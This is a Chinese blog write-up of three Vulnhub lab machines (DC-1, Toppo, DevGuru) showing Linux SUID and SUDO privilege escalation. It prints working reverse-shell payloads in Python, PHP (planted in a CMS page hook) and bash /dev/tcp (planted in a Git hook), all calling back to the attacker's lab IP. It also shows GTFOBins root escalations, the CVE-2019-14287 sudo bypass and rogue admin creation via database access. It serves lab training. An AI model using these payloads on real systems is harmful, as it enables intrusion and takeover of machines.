Linux提权——SUID&SUDO(Vulnhub靶机)

#简述

1、SUID提权

SUID是Linux中的一中特殊权限,SUID可以让二进制程序的调用者以文件拥有者的身份运行该文件。如果对于一些特殊命令设置了SUID,那么就会有被提权的风险。而这个SUID提权的关键就是,找到root用户所拥有的SUID的文件&命令,运行该文件或者调用命令时,暂时拥有root权限,以root身份来执行。

2、SUDO提权

SUDO是Linux下常用允许普通用户使用root用户权限的工具命令,允许超级管理员让普通用户执行一些或者全部root命令。SUDO能够限制用户只在某台主机上运行某些命令。SUDO的配置文件是 /etc/sudoers,用于配置 sudo 命令的权限,也可以使用** sudo -l **命令检查文件配置。

#打靶过程

1、DC-1

靶机:192.168.230.220
攻击机(Kali):192.168.230.128

1、前期信息收集,使用nmap对** 192.168.230.0/24** 进行扫描
屏幕截图 2024-03-29 191500.jpg

2、扫描得到的靶机IP为 192.168.230.220,开放的端口为 22 、80、111,浏览器直接访问80端口
屏幕截图 2024-03-29 203712.jpg
访问页面最底部有英文 Powered by Drupal,Drupal是一个CMS,曾经爆出过漏洞。

3、打开MSF,搜索对应的EXP
屏幕截图 2024-03-29 194254.jpg

4、选择18年的exp,配置好相应的参数后,run
屏幕截图 2024-03-29 194334.jpg
成功获取到 meterpreter,不过此时的用户为 www-data,权限很低,需要进一步提权。

5、进入交互式shell后,执行命令:find / -perm -u=s -type f 2>/dev/null
这条命令是用于查找具有SUID权限的文件
屏幕截图 2024-03-29 194235.jpg
可以看到结果有十多个拥有SUID权限的文件

6、除了这条命令,还可以使用** Linpeas.sh** 文件进行扫描,也可以得到拥有SUID权限的文件对应的结果。
攻击机开启http服务,靶机wget得到 linpeas.sh 文件
屏幕截图 2024-03-29 194514.jpg

7、执行结果如下,标橙色的优先选择
屏幕截图 2024-03-29 194658.jpg
为什么 find 命令会被标记优先选择呢?
这是因为 find 命令存在一个参数 -exec 用于在找到匹配文件后执行指定的命令,由于这里的 /usr/bin/find 有用SUID权限,即意味着其他用户调用find命令时会以root用户来执行。

8、https://gtfobins.github.io/
我们通过这个网站来搜寻对应命令文件的SUID提权使用方法
屏幕截图 2024-03-29 200121.jpg

9、执行上图的命令,直接以root身份打开了一个shell,拥有了root的权限
屏幕截图 2024-03-29 200341.jpg
同时也成功获取flag文件

2、Toppo

靶机:192.168.230.221
攻击机:192.168.230.128
屏幕截图 2024-03-29 202603.jpg

1、同样信息收集,nmap扫C段,得到靶机的具体IP为 192.168.230.221
屏幕截图 2024-03-29 202914.jpg
同时知道靶机开放的端口有 22、80、111
屏幕截图 2024-03-29 203214.jpg

2、浏览器访问80端口,从页面来看是一个博客站点
屏幕截图 2024-03-29 203525.jpg

3、使用dirsearch工具扫描目录,结果如下所示:
屏幕截图 2024-03-29 204306.jpg

4、访问 /admin 路径,发现存在目录遍历,其中有个 notes.txt 文件
屏幕截图 2024-03-29 204348.jpg

5、打开 notes.txt 文件,内容如下所示:
屏幕截图 2024-03-29 204412.jpg
Note to myself
I need to change my password :12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer.

可以从中得到一串密码为:12345ted123

6、推断使用ssh进行登录:ssh ted@192.168.230.221
屏幕截图 2024-03-29 205626.jpg
成功登录!此时用户为ted,需要进一步提权得到root权限

7、同样使用命令:find / -perm -u=s -type f 2>/dev/null
了解拥有SUID的文件
屏幕截图 2024-03-29 205740.jpg

8、从列举的文件来看,这个 /usr/bin/python2.7 是个值得注意的点,因为借助python可以执行脚本、反弹shell……
屏幕截图 2024-03-29 210018.jpg

9、https://gtfobins.github.io/
同样借助这个网站搜索python的SUID提权命令
屏幕截图 2024-03-29 210044.jpg
屏幕截图 2024-03-29 210113.jpg
./python -c import os;os.execl("/bin/sh","sh","-p")'

10、我在打靶没按照上述命令,而是尝试了反弹shell
Kali监听5555端口:nc -lvnp 5555
靶机payload:/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.230.128",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
屏幕截图 2024-03-29 210315.jpg
成功反弹shell

11、此时身份为root,拥有root权限,可直接访问到root目录下的flag.txt文件
屏幕截图 2024-03-29 210352.jpg

12、这个靶机除了使用SUID提权方法,还能使用SUDO提权。
浏览sudo的配置文件 /etc/sudoers
屏幕截图 2024-03-29 211118.jpg
这里的意思是:ted用户可以以任何用户身份在任何主机上无需密码执行 /usr/bin/awk 命令

13、我们再去搜索一下awk的SUDO提权的使用
屏幕截图 2024-03-29 211153.jpg
屏幕截图 2024-03-29 211227.jpg
关于awk:awk 是一种强大的文本处理工具,通常用于从文本文件中提取和处理数据。它是一种编程语言,具有灵活的语法和丰富的内置函数,可以轻松地进行文本处理、数据提取、格式化输出等操作。

14、payload:/usr/bin/awk 'BEGIN {system("/bin/sh")}'
屏幕截图 2024-03-29 211727.jpg
同样成功提权到root,拿到flag

3、DevGuru(重难点)

靶机:192.168.230.222
攻击机:192.168.230.128
屏幕截图 2024-03-30 092515.jpg

1、老样子,了解到靶机的IP:192.168.230.222,使用nmap对其进行扫描
屏幕截图 2024-03-30 092627.jpg
结果显示靶机开放了 22、80 端口

2、浏览器访问 80 端口,页面如下所示:(看样子是模拟一个公司的官网)
屏幕截图 2024-03-30 092700.jpg

3、使用dirsearch工具对其进行目录扫描
屏幕截图 2024-03-30 093216.jpg
得到一个重要的路径 /.git,因此思路往git源码泄露这方面靠拢

4、相关工具:https://github.com/lijiejie/GitHack
屏幕截图 2024-03-30 093507.jpg
使用GitHack脚本工具对目标** http://192.168.230.222/.git** 获取网站源码
屏幕截图 2024-03-30 093422.jpg

5、源码文件如下所示:
屏幕截图 2024-03-30 094126.jpg

6、在 config 目录下,找到数据库文件 database.php ,发现了数据库的账号和密码
屏幕截图 2024-03-30 094155.jpg

7、从刚才目录扫描的结果也得到 /adminer.php 路径,访问的页面是一个数据库后台
屏幕截图 2024-03-30 094235.jpg

8、尝试利用刚才发现的账号密码登录
屏幕截图 2024-03-30 094318.jpg
成功登入数据库后台

9、在 backend_users 表中发现一个名为 Frank 的用户,其中包括登录名、加密后的密码、权限id……
屏幕截图 2024-03-30 094438.jpg

10、根据Chat-GPT的回答,这段密码的加密方式是BCrypt
屏幕截图 2024-03-30 094636.jpg

11、新创一个用户,
屏幕截图 2024-03-30 095822.jpg
通过Bcrypt加密网站:https://bcrypt-generator.com/
随便加密一段数字作为密码(以123456为例)
屏幕截图 2024-03-30 100143.jpg
创建成功
屏幕截图 2024-03-30 095844.jpg
is_superuser与Frank保持一致,设置为1
屏幕截图 2024-03-30 095904.jpg

12、访问路径** /backend/backend/auth/signin**,这是这个网站的后台
屏幕截图 2024-03-30 095738.jpg

12、使用刚新创建的账号密码登录
屏幕截图 2024-03-30 100128.jpg
成功进入后台

13、搜索过这个October CMS,存在过CVE漏洞,其中包括RCE漏洞
屏幕截图 2024-03-30 100603.jpg

14、选择左上角CMS模块,观察到访问/blog路由会触发onStart()方法。
我这里直接用Home路径** /** 反弹shell
屏幕截图 2024-03-30 101643.jpg

function onStart(){
    //nc监听5555端口
    $s=fsockopen("192.168.230.128",5555);
    $proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}

15、直接访问 / 目录则出发 onStart方法,成功反弹shell到攻击机Kali上
屏幕截图 2024-03-30 101816.jpg

16、目前的用户是 www-data,权限很低
屏幕截图 2024-03-30 101848.jpg

17、在 /var/backups 目录下发现了一个备份文件:app.ini.bak
屏幕截图 2024-03-30 102135.jpg

18、其中发现了另一个数据库用户 gitea,包括其密码
屏幕截图 2024-03-30 102534.jpg

19、回到 /adminer.php ,使用gitea账号密码登录
屏幕截图 2024-03-30 102645.jpg

20、发现用户Frank以及其加密后的密码
屏幕截图 2024-03-30 102741.jpg

21、根据页面显示这是 pbkdf2 加密方式
屏幕截图 2024-03-30 102849.jpg

22、这里硬把密码改成我们想要的密码,如改成 经过Bcrypt加密后的123456
屏幕截图 2024-03-30 102942.jpg

23、补回之前的端口扫描,之前的端口没扫全=-=,忽略了一个8585端口,正好对应Gitee这个系统站点(吃个教训...)
屏幕截图 2024-03-30 103104.jpg
屏幕截图 2024-03-30 103127.jpg

24、登录frank的账户,密码为123456
屏幕截图 2024-03-30 103146.jpg

25、成功进入后台
屏幕截图 2024-03-30 103500.jpg
/frank/devguru-website/settings/hooks/git/update 的路径下,
增加一行:bash -c "exec bash -i >& /dev/tcp/192.168.230.128/5555 0>&1"
用于反弹shell
屏幕截图 2024-03-30 103639.jpg

26、来到 README.md 随便敲几个空格保存后即可触发反弹shell命令
屏幕截图 2024-03-30 104052.jpg
成功反弹!

27、当前的用户是frank,还是需要进一步提权
屏幕截图 2024-03-30 104118.jpg

28、借助 linpeas.sh 提权辅助脚本对靶机进行扫描(攻击机开启http服务,靶机wget远程下载linpeas.sh)
屏幕截图 2024-03-30 104236.jpg

29、在扫描得到的结果发现 /usr/bin/sqlite3 ,用户 frank 在主机 devguru 上可以以任何用户(除了 root 用户)的身份执行 /usr/bin/sqlite3 命令,并且无需输入密码,因此可以尝试SUDO提权
屏幕截图 2024-03-30 104639.jpg

30、查找对应的命令
屏幕截图 2024-03-30 104847.jpg
屏幕截图 2024-03-30 104906.jpg

31、这里又遇到一个坑,后来看了wp才知道这里存在sudo的版本问题(低于1.8.28),需要权限绕过(CVE-2019-14287
屏幕截图 2024-03-30 105227.jpg
屏幕截图 2024-03-30 105348.jpg
具体文章参考:https://blog.csdn.net/chest_/article/details/102716802

32、执行命令:sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
sudo -u 也可以通过指定 UID 的方式来代替用户,当指定的 UID 为** -1** 或 4294967295(-1 的补码,其实内部是按无符号整数处理的) 时,因此可以触发漏洞,绕过上面的限制并以 root 身份执行命令
屏幕截图 2024-03-30 110308.jpg
成功获取到root权限,得到root-flag!

总结:
1、总体思路:web权限 -> 计算机用户权限 -> 超管权限(root)
2、感觉这个靶机考点很多,个人前期的信息收集不是很充分,思路很容易被卡住
3、也是借助这个靶机学习SUDO提权的方式;结合数据库的信息拿下web权限
还有一点很关键,October CMS给的是web权限,用户为www-data;而gitee这系统则分配的是frank用户权限。通过两者对比之后,发现从frank用户具备条件(也是能利用sudo提权)能够进一步提权到root。
4、还了解到了关于 sudo 命令的权限绕过问题(CVE-2019-14287

posted @ 2024-04-01 22:19  GoxHam23  阅读(321)  评论(0编辑  收藏  举报